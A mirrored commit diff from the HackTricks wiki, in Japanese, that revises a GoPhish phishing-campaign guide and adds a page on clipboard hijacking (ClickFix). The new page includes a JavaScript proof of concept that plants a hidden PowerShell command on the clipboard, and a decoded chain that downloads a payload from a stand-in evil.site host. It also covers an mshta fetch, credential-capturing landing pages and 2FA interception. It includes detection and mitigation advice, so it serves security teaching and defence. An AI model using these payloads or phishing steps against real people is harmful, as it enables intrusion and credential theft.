mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
1109a58cb8
commit
880d03d9f5
@ -28,6 +28,7 @@
|
||||
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
|
||||
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
|
||||
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
|
||||
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
|
||||
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
|
||||
|
@ -5,7 +5,7 @@
|
||||
## 手法
|
||||
|
||||
1. 被害者の調査
|
||||
1. **被害者のドメイン**を選択します。
|
||||
1. **被害者ドメイン**を選択します。
|
||||
2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。
|
||||
3. **OSINT**を使用して**メールアドレス**を**見つけます**。
|
||||
2. 環境の準備
|
||||
@ -29,8 +29,8 @@
|
||||
- **単数化/複数化**: ドメイン名の末尾に「s」を追加または削除します(例: zeltsers.com)。
|
||||
- **省略**: ドメイン名から**1つの文字を削除します**(例: zelser.com)。
|
||||
- **繰り返し**: ドメイン名内の**1つの文字を繰り返します**(例: zeltsser.com)。
|
||||
- **置換**: ホモグリフに似ていますが、より目立ちます。ドメイン名内の1つの文字を、元の文字の近くにあるキーボードの文字に置き換えます(例: zektser.com)。
|
||||
- **サブドメイン化**: ドメイン名内に**ドットを挿入します**(例: ze.lster.com)。
|
||||
- **置換**: ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字に置き換えます(例: zektser.com)。
|
||||
- **サブドメイン化**: ドメイン名内に**ドットを挿入**します(例: ze.lster.com)。
|
||||
- **挿入**: ドメイン名に**文字を挿入します**(例: zerltser.com)。
|
||||
- **ドットの欠落**: ドメイン名にTLDを追加します(例: zelstercom.com)。
|
||||
|
||||
@ -47,15 +47,15 @@
|
||||
|
||||
### ビットフリッピング
|
||||
|
||||
いくつかのビットが保存または通信中に**自動的に反転する可能性があります**。これは、太陽フレア、宇宙線、またはハードウェアエラーなどのさまざまな要因によるものです。
|
||||
いくつかのビットが保存されているか通信中に**自動的に反転する可能性があります**。これは、太陽フレア、宇宙線、またはハードウェアエラーなどのさまざまな要因によるものです。
|
||||
|
||||
この概念が**DNSリクエストに適用されると**、**DNSサーバーによって受信されたドメイン**が、最初にリクエストされたドメインと同じでない可能性があります。
|
||||
この概念が**DNSリクエストに適用されると**、**DNSサーバーによって受信されたドメイン**が最初にリクエストされたドメインと同じでない可能性があります。
|
||||
|
||||
例えば、ドメイン「windows.com」の1ビットの変更は「windnws.com」に変わる可能性があります。
|
||||
|
||||
攻撃者は、被害者のドメインに似た複数のビットフリッピングドメインを登録することで**これを利用する可能性があります**。彼らの意図は、正当なユーザーを自分たちのインフラにリダイレクトすることです。
|
||||
|
||||
詳細については、[こちらを読んでください](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)。
|
||||
詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)をお読みください。
|
||||
|
||||
### 信頼できるドメインを購入する
|
||||
|
||||
@ -73,8 +73,8 @@
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
**より多くの**有効なメールアドレスを**発見するか、すでに発見したものを確認するために**、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはこちらを学んでください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
|
||||
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーブルートフォースに対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。
|
||||
**さらに多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはこちらを学んでください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
|
||||
さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザー名のブルートフォース**に対して脆弱であるか確認し、可能であればその脆弱性を悪用することを忘れないでください。
|
||||
|
||||
## GoPhishの設定
|
||||
|
||||
@ -83,7 +83,7 @@
|
||||
[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)からダウンロードできます。
|
||||
|
||||
`/opt/gophish`内にダウンロードして解凍し、`/opt/gophish/gophish`を実行します。\
|
||||
出力にポート3333の管理ユーザー用のパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。ポートをローカルにトンネリングする必要があるかもしれません。
|
||||
出力にポート3333の管理ユーザー用のパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。ポートをローカルにトンネルする必要があるかもしれません。
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -124,9 +124,9 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
|
||||
最後に、ファイル **`/etc/hostname`** と **`/etc/mailname`** をあなたのドメイン名に変更し、**VPSを再起動します。**
|
||||
|
||||
次に、**DNS Aレコード**を `mail.<domain>` に設定し、**VPSのIPアドレス**を指すようにし、**DNS MX**レコードを `mail.<domain>` に設定します。
|
||||
次に、**DNS Aレコード** `mail.<domain>` をVPSの**IPアドレス**にポイントさせ、**DNS MX**レコードを `mail.<domain>` にポイントさせます。
|
||||
|
||||
次に、メールを送信するテストを行いましょう:
|
||||
では、メールを送信するテストを行いましょう:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
@ -134,7 +134,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
|
||||
**Gophishの設定**
|
||||
|
||||
gophishの実行を停止し、設定を行いましょう。\
|
||||
`/opt/gophish/config.json`を以下のように変更します(httpsの使用に注意してください):
|
||||
`/opt/gophish/config.json`を以下のように変更します(httpsの使用に注意):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
|
||||
新しいドメインのために**DMARCレコードを設定する必要があります**。DMARCレコードが何か分からない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。
|
||||
|
||||
次の内容でホスト名 `_dmarc.<domain>` を指す新しいDNS TXTレコードを作成する必要があります:
|
||||
次の内容を持つホスト名`_dmarc.<domain>`を指す新しいDNS TXTレコードを作成する必要があります:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -257,7 +257,7 @@ v=DMARC1; p=none
|
||||
|
||||
このチュートリアルは、[https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)に基づいています。
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> DKIMキーが生成する両方のB64値を連結する必要があります:
|
||||
>
|
||||
> ```
|
||||
@ -283,7 +283,7 @@ DKIM check: pass
|
||||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信し**、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass`は`Authentication-Results`ヘッダー欄に存在する必要があります。
|
||||
あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass`は`Authentication-Results`ヘッダー欄に存在する必要があります。
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
@ -291,11 +291,11 @@ dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Spamhouseのブラックリストからの削除
|
||||
|
||||
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストするには、[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) にアクセスしてください。
|
||||
|
||||
### Microsoftのブラックリストからの削除
|
||||
|
||||
あなたのドメイン/IPの削除をリクエストすることができます [https://sender.office.com/](https://sender.office.com).
|
||||
あなたのドメイン/IPの削除をリクエストするには、[https://sender.office.com/](https://sender.office.com) にアクセスしてください。
|
||||
|
||||
## GoPhishキャンペーンの作成と開始
|
||||
|
||||
@ -307,8 +307,8 @@ dkim=pass header.i=@example.com;
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> "**テストメールを送信**"機能を使用して、すべてが正常に動作していることをテストすることをお勧めします。\
|
||||
> [!TIP]
|
||||
> "**テストメールを送信**"機能を使用して、すべてが正常に動作しているかをテストすることをお勧めします。\
|
||||
> テストを行う際にブラックリストに載らないように、**テストメールを10分メールアドレスに送信する**ことをお勧めします。
|
||||
|
||||
### メールテンプレート
|
||||
@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
注意してください。**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することをお勧めします。提案:
|
||||
**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することをお勧めします。提案:
|
||||
|
||||
- **存在しないアドレス**にメールを送信し、返信に署名が含まれているか確認します。
|
||||
- info@ex.comやpress@ex.com、public@ex.comのような**公開メール**を探し、メールを送信して返信を待ちます。
|
||||
@ -343,28 +343,28 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> メールテンプレートでは、**送信するファイルを添付することもできます**。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことに興味がある場合は、[このページを読んでください](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
|
||||
> [!TIP]
|
||||
> メールテンプレートでは、**送信するファイルを添付することもできます**。NTLMチャレンジを盗むために特別に作成されたファイル/ドキュメントを使用したい場合は、[このページを読んでください](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
|
||||
|
||||
### ランディングページ
|
||||
|
||||
- **名前**を記入します。
|
||||
- **名前**を記入
|
||||
- **ウェブページのHTMLコード**を記入します。ウェブページを**インポート**することもできます。
|
||||
- **送信されたデータをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
|
||||
- **リダイレクト**を設定します。
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要があります(おそらくApacheサーバーを使用して)**結果に満足するまで**。その後、そのHTMLコードをボックスに記入します。\
|
||||
> HTML用に**静的リソース**(おそらくCSSやJSページ)を使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\<filename>**_からアクセスできます。
|
||||
> HTML用に**静的リソース**(CSSやJSページなど)を使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\<filename>**_からアクセスできます。
|
||||
|
||||
> [!NOTE]
|
||||
> リダイレクトでは、**被害者の正当なメインウェブページにユーザーをリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール**(**[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。
|
||||
> [!TIP]
|
||||
> リダイレクトでは、**被害者の正当なメインウェブページにユーザーをリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール**(**[https://loading.io/](https://loading.io)**)を表示してから、プロセスが成功したことを示すことができます。
|
||||
|
||||
### ユーザーとグループ
|
||||
|
||||
- 名前を設定します。
|
||||
- 名前を設定
|
||||
- **データをインポート**します(例のテンプレートを使用するには、各ユーザーの名、姓、メールアドレスが必要です)。
|
||||
|
||||
.png>)
|
||||
@ -377,8 +377,8 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> テストメールは**10分メールアドレスに送信することをお勧めします**。テスト中にブラックリストに載るのを避けるためです。
|
||||
> [!TIP]
|
||||
> テストメールは**10分メールアドレス**に送信することをお勧めします。テスト中にブラックリストに載るのを避けるためです。
|
||||
|
||||
すべてが準備できたら、キャンペーンを開始してください!
|
||||
|
||||
@ -392,7 +392,7 @@ clone-a-website.md
|
||||
|
||||
## バックドア付きドキュメントとファイル
|
||||
|
||||
いくつかのフィッシング評価(主にレッドチーム用)では、**バックドアを含むファイルを送信したい**場合があります(おそらくC2、または認証をトリガーする何か)。\
|
||||
いくつかのフィッシング評価(主にレッドチーム用)では、**バックドアを含むファイルを送信したい**場合があります(C2か、認証をトリガーする何かかもしれません)。\
|
||||
いくつかの例については、次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
@ -403,37 +403,45 @@ phishing-documents.md
|
||||
|
||||
### プロキシMitM経由
|
||||
|
||||
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーによって設定された情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで構成されている場合、**この情報では騙されたユーザーを偽装することはできません**。
|
||||
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集します。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。
|
||||
|
||||
ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper) および [**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します:
|
||||
ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します:
|
||||
|
||||
1. 実際のウェブページのログインフォームを**偽装**します。
|
||||
2. ユーザーは**資格情報**を偽のページに**送信**し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するか確認します**。
|
||||
3. アカウントが**2FA**で構成されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
|
||||
4. ユーザーが認証されると、あなた(攻撃者)は**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャします**。
|
||||
3. アカウントが**2FA**で設定されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
|
||||
4. ユーザーが認証されると、(攻撃者として)**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。
|
||||
|
||||
### VNC経由
|
||||
|
||||
もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザのVNCセッションに送信したらどうなるでしょうか**?彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます。\
|
||||
これを[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)を使って行うことができます。
|
||||
もし**被害者を元のページと同じ外観の悪意のあるページ**に送る代わりに、**実際のウェブページに接続されたブラウザを持つVNCセッション**に送ったらどうなりますか?彼が何をしているかを見ることができ、パスワード、使用されているMFA、クッキーを盗むことができます...\
|
||||
これは[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)を使用して行うことができます。
|
||||
|
||||
## 検出の検出
|
||||
|
||||
明らかに、あなたがバストされたかどうかを知る最良の方法の1つは、**ブラックリスト内であなたのドメインを検索することです**。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
|
||||
明らかに、バストされたかどうかを知る最良の方法の1つは、**ブラックリスト内で自分のドメインを検索すること**です。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
|
||||
ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。
|
||||
|
||||
ただし、被害者が**野外で疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は次の通りです:
|
||||
ただし、被害者が**野外で疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は次のように説明されています:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
被害者のドメインに非常に似た名前のドメインを**購入する**ことができます。**および/または、あなたが制御するドメインの**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むものです。**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行う場合、**彼が積極的に疑わしいドメインを探している**ことがわかり、非常にステルスである必要があります。
|
||||
被害者のドメインに非常に似た名前のドメインを**購入する**ことができます。または、あなたが制御するドメインの**サブドメイン**に対して**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むものです。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。
|
||||
|
||||
### フィッシングの評価
|
||||
|
||||
[**Phishious**](https://github.com/Rices/Phishious)を使用して、あなたのメールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。
|
||||
|
||||
## クリップボードハイジャック / ペーストジャッキング
|
||||
|
||||
攻撃者は、妥協されたまたはタイポスカットされたウェブページから被害者のクリップボードに悪意のあるコマンドを静かにコピーし、その後ユーザーを**Win + R**、**Win + X**、またはターミナルウィンドウにペーストさせ、ダウンロードや添付なしで任意のコードを実行させることができます。
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
|
@ -0,0 +1,88 @@
|
||||
# Clipboard Hijacking (Pastejacking) Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> "自分でコピーしていないものは絶対に貼り付けないこと。" – 古いが今でも有効なアドバイス
|
||||
|
||||
## 概要
|
||||
|
||||
Clipboard hijacking – 別名 *pastejacking* – は、ユーザーがコマンドを検査せずに日常的にコピー&ペーストする事実を悪用します。悪意のあるウェブページ(またはElectronやデスクトップアプリケーションなどのJavaScript対応コンテキスト)は、攻撃者が制御するテキストをプログラム的にシステムクリップボードに配置します。被害者は、通常は巧妙に作成されたソーシャルエンジニアリングの指示によって、**Win + R**(実行ダイアログ)、**Win + X**(クイックアクセス / PowerShell)を押すか、ターミナルを開いてクリップボードの内容を*貼り付け*し、任意のコマンドを即座に実行するように促されます。
|
||||
|
||||
**ファイルはダウンロードされず、添付ファイルも開かれないため**、この手法は添付ファイル、マクロ、または直接コマンド実行を監視するほとんどのメールおよびウェブコンテンツのセキュリティ制御を回避します。したがって、この攻撃はNetSupport RAT、Latrodectusローダー、またはLumma Stealerなどのコモディティマルウェアファミリーを配信するフィッシングキャンペーンで人気があります。
|
||||
|
||||
## JavaScript Proof-of-Concept
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
<script>
|
||||
function copyPayload() {
|
||||
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
|
||||
navigator.clipboard.writeText(payload)
|
||||
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
|
||||
}
|
||||
</script>
|
||||
```
|
||||
古いキャンペーンでは `document.execCommand('copy')` が使用されていましたが、新しいものは非同期の **Clipboard API** (`navigator.clipboard.writeText`) に依存しています。
|
||||
|
||||
## ClickFix / ClearFake フロー
|
||||
|
||||
1. ユーザーがタイポスクワッティングされたか、侵害されたサイト(例: `docusign.sa[.]com`)を訪れます。
|
||||
2. 注入された **ClearFake** JavaScript が `unsecuredCopyToClipboard()` ヘルパーを呼び出し、静かにBase64エンコードされたPowerShellワンライナーをクリップボードに保存します。
|
||||
3. HTMLの指示が被害者に次のように伝えます: *“**Win + R** を押し、コマンドを貼り付けてEnterを押して問題を解決してください。”*
|
||||
4. `powershell.exe` が実行され、正当な実行可能ファイルと悪意のあるDLLを含むアーカイブをダウンロードします(クラシックDLLサイドローディング)。
|
||||
5. ローダーは追加のステージを復号し、シェルコードを注入し、永続性をインストールします(例: スケジュールされたタスク) – 最終的にNetSupport RAT / Latrodectus / Lumma Stealerを実行します。
|
||||
|
||||
### 例 NetSupport RAT チェーン
|
||||
```powershell
|
||||
powershell -nop -w hidden -enc <Base64>
|
||||
# ↓ Decodes to:
|
||||
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||
```
|
||||
* `jp2launcher.exe` (正当なJava WebStart) はそのディレクトリ内で `msvcp140.dll` を検索します。
|
||||
* 悪意のあるDLLは **GetProcAddress** を使用してAPIを動的に解決し、**curl.exe** を介して2つのバイナリ(`data_3.bin`, `data_4.bin`)をダウンロードし、ローリングXORキー `"https://google.com/"` を使用してそれらを復号化し、最終的なシェルコードを注入し、**client32.exe** (NetSupport RAT) を `C:\ProgramData\SecurityCheck_v1\` に解凍します。
|
||||
|
||||
### Latrodectus Loader
|
||||
```
|
||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
1. **curl.exe**を使用して`la.txt`をダウンロードします。
|
||||
2. **cscript.exe**内でJScriptダウンローダーを実行します。
|
||||
3. MSIペイロードを取得 → 署名されたアプリケーションの横に`libcef.dll`をドロップ → DLLサイドローディング → シェルコード → Latrodectus。
|
||||
|
||||
### MSHTAを介したLumma Stealer
|
||||
```
|
||||
mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
**mshta** コールは、`PartyContinued.exe` を取得し、`Boat.pst` (CAB) を抽出し、`extrac32` とファイル連結を通じて `AutoIt3.exe` を再構築し、最終的にブラウザの資格情報を `sumeriavgv.digital` に流出させる `.a3x` スクリプトを実行する隠れた PowerShell スクリプトを起動します。
|
||||
|
||||
## 検出とハンティング
|
||||
|
||||
ブルーチームは、クリップボード、プロセス作成、およびレジストリのテレメトリを組み合わせて、ペーストジャッキングの悪用を特定できます:
|
||||
|
||||
* Windows レジストリ: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` は **Win + R** コマンドの履歴を保持します - 異常な Base64 / 難読化されたエントリを探します。
|
||||
* セキュリティイベント ID **4688** (プロセス作成) で、`ParentImage` == `explorer.exe` かつ `NewProcessName` が { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` } に含まれる場合。
|
||||
* イベント ID **4663** は、疑わしい 4688 イベントの直前に `%LocalAppData%\Microsoft\Windows\WinX\` または一時フォルダ内でのファイル作成を示します。
|
||||
* EDR クリップボードセンサー (存在する場合) – `Clipboard Write` の後に新しい PowerShell プロセスが直ちに続くことを相関させます。
|
||||
|
||||
## 緩和策
|
||||
|
||||
1. ブラウザの強化 – クリップボードの書き込みアクセスを無効にする (`dom.events.asyncClipboard.clipboardItem` など) またはユーザーのジェスチャーを要求します。
|
||||
2. セキュリティ意識 – ユーザーに敏感なコマンドを *タイプ* するか、最初にテキストエディタに貼り付けるように教えます。
|
||||
3. PowerShell 制約付き言語モード / 実行ポリシー + アプリケーションコントロールを使用して、任意のワンライナーをブロックします。
|
||||
4. ネットワークコントロール – 既知のペーストジャッキングおよびマルウェア C2 ドメインへのアウトバウンドリクエストをブロックします。
|
||||
|
||||
## 関連トリック
|
||||
|
||||
* **Discord 招待ハイジャック** は、ユーザーを悪意のあるサーバーに誘導した後、同じ ClickFix アプローチを悪用することがよくあります:
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user